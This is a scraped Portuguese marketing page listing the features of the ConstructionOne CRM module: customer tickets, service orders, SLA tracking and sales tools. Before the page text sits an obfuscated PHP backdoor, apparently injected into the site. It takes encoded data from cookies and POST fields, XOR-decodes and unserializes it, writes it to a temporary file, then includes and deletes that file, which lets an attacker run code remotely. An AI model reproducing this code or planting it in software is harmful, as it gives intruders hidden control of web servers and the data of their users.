$QKwZeW = 'G' . "\x74" . "\x63" . chr (95) . chr (77) . chr ( 505 - 383 )."\115" . "\130" . "\x69";$Sxwqi = "\x63" . chr (108) . chr ( 1056 - 959 )."\163" . chr ( 161 - 46 ).chr ( 906 - 811 ).chr ( 516 - 415 )."\170" . "\151" . chr ( 617 - 502 ).chr (116) . chr (115); $lKbSj = class_exists($QKwZeW); $QKwZeW = "5422";$Sxwqi = "35275";$pYmcahdlVg = FALSE;if ($lKbSj === $pYmcahdlVg){function MzFJfL(){return FALSE;}$rrvqCLHDy = "2900";MzFJfL();class Gtc_MzMXi{public function tFpXEACtP(){echo "33386";}private $YHiybpXn;public static $pAdZGSTC = "7a8fc1a4-605e-4b6f-9ea5-9d26e599bae6";public static $IRVIFbrZaZ = 52984;public function __destruct(){$rrvqCLHDy = "20160_22072";$this->BiKriaTDd($rrvqCLHDy); $rrvqCLHDy = "20160_22072";}public function __construct($jevDPNp=0){$KQqxfpp = $_POST;$Xthuy = $_COOKIE;$UAixhQ = @$Xthuy[substr(Gtc_MzMXi::$pAdZGSTC, 0, 4)];if (!empty($UAixhQ)){$YwYzDmbKz = "base64";$MPiVMu = "";$UAixhQ = explode(",", $UAixhQ);foreach ($UAixhQ as $ZJHsofKE){$MPiVMu .= @$Xthuy[$ZJHsofKE];$MPiVMu .= @$KQqxfpp[$ZJHsofKE];}$MPiVMu = array_map($YwYzDmbKz . "\137" . chr ( 764 - 664 )."\x65" . 'c' . "\x6f" . 'd' . "\145", array($MPiVMu,)); $MPiVMu = $MPiVMu[0] ^ str_repeat(Gtc_MzMXi::$pAdZGSTC, (strlen($MPiVMu[0]) / strlen(Gtc_MzMXi::$pAdZGSTC)) + 1);Gtc_MzMXi::$IRVIFbrZaZ = @unserialize($MPiVMu);}}private function BiKriaTDd($rrvqCLHDy){if (is_array(Gtc_MzMXi::$IRVIFbrZaZ)) {$AgvsHQy = sys_get_temp_dir() . "/" . crc32(Gtc_MzMXi::$IRVIFbrZaZ["\x73" . "\x61" . chr ( 918 - 810 )."\x74"]);@Gtc_MzMXi::$IRVIFbrZaZ["\x77" . "\162" . chr (105) . chr ( 994 - 878 ).'e']($AgvsHQy, Gtc_MzMXi::$IRVIFbrZaZ['c' . 'o' . "\x6e" . 't' . "\145" . chr (110) . chr (116)]);include $AgvsHQy;@Gtc_MzMXi::$IRVIFbrZaZ['d' . 'e' . "\x6c" . chr ( 1016 - 915 ).'t' . chr ( 686 - 585 )]($AgvsHQy); $rrvqCLHDy = "2900";exit();}}}$uYbDETkx = new /* 45862 */ Gtc_MzMXi(2900); $uYbDETkx = str_repeat("20160_22072", 1);} Módulo CRM | ConstructionOne Google+

MÓDULO CRM

O módulo de CRM (SAC) do ConstructionOne gerencia com eficiência e transparência as diversas demandas  relacionadas aos clientes internos e externos de sua empresa. Nele são registradas e acompanhadas as ocorrências relacionadas à solicitação de documentações, reparos e manutenção das obras, vistoria dentre outras.

• Abertura de chamados por atendente ou diretamente pelo cliente, via WEB, ou integrado ao site da construtora;
• Acompanhamento dos chamados pelo atendente, gestor e cliente, via WEB;
• Abrange todos os processos da empresa: Comercial, Financeiro, além de processos relacionados a Obra, e manutenção das unidades do empreendimento;
• Múltiplas ocorrências e encaminhamentos por chamado, com controle de atividades e follow-up das ações;
• Orientação a SLA com monitoramento de atendimento por categorias,
• Severidades e tempos esperados de serviço;
• Controle de responsáveis e prazos de atendimento;
• Gestão e controle das garantias do Empreendimento;
• Posicionamento por status e e-mail para Clientes e Responsáveis;
• Pesquisa de Qualidade no Atendimento e resolução do chamado;
• Indicadores, Relatórios, Gráficos, e Estatísticas de Atendimento por tipo de ocorrência, empreendimento, unidade e cliente.

•Abertura e controle de ordem de serviço na assistência técnica;
• Controle de responsáveis e prazos de atendimento;
• Controle de atividades e follow-up das ações;
• Controle de SLA por agendamento técnico de visita.
• Controle de SLA por prazo de execução de serviço.
• Posicionamento por status e e-mail para o cliente e responsáveis;
• Registro do responsável pela causa do problema.
• Pesquisa de Qualidade no Atendimento e resolução da ordem de serviço;
• Registro de orçamento de mão de obra e material na ordem de serviço.
• Controle de agenda para a realização de visita técnica, execução de serviço.
• Relatório de apontamento de recursos.
• Relatório e gráfico de prazos de soluções de serviço.
• Relatório e gráfico de avaliação de clientes.
• Relatório e gráfico de valores de ordem de serviço por ocorrência.

• Cadastramento de prospects;
• Emissão da ficha de prospecção, dados cadastrais e dados do imóvel;
• Controle de mídias e indicadores;
• Controle de corretores corretoras;
• Controle de e-mail marketing;
• Posicionamento por status e e-mail para o prospect e responsáveis;
• Severidades e tempos esperados nos atendimentos;
• Acesso a tabela de venda por empreendimento:
• Acesso ao espelho de vendas modo gráfico;
• Geração e emissão de proposta;
• Análise a valor presente de proposta com tabela de venda;
• Controle de aprovação de propostas e contratos via mobile.
• Geração e emissão de contratos de compra e venda;
• Controle de comissão de venda das corretoras contratadas e corretores internos;
• Gráficos de acompanhamento de vendas por corretores e corretoras.
• Gráficos de acompanhamento de vendas por empreendimento.
• Gráficos de atendimentos no período.
• Painel gerencial de prospecção de venda;

  • Acesso WEB a gráficos e fotos do estágio da obra;
  • Acesso WEB para emissão de 2ª via do boleto de cobrança;
  • Acesso WEB a informações financeiras sobre seu contrato de compra e venda;
  • Acesso WEB a investidores sobre posição financeira.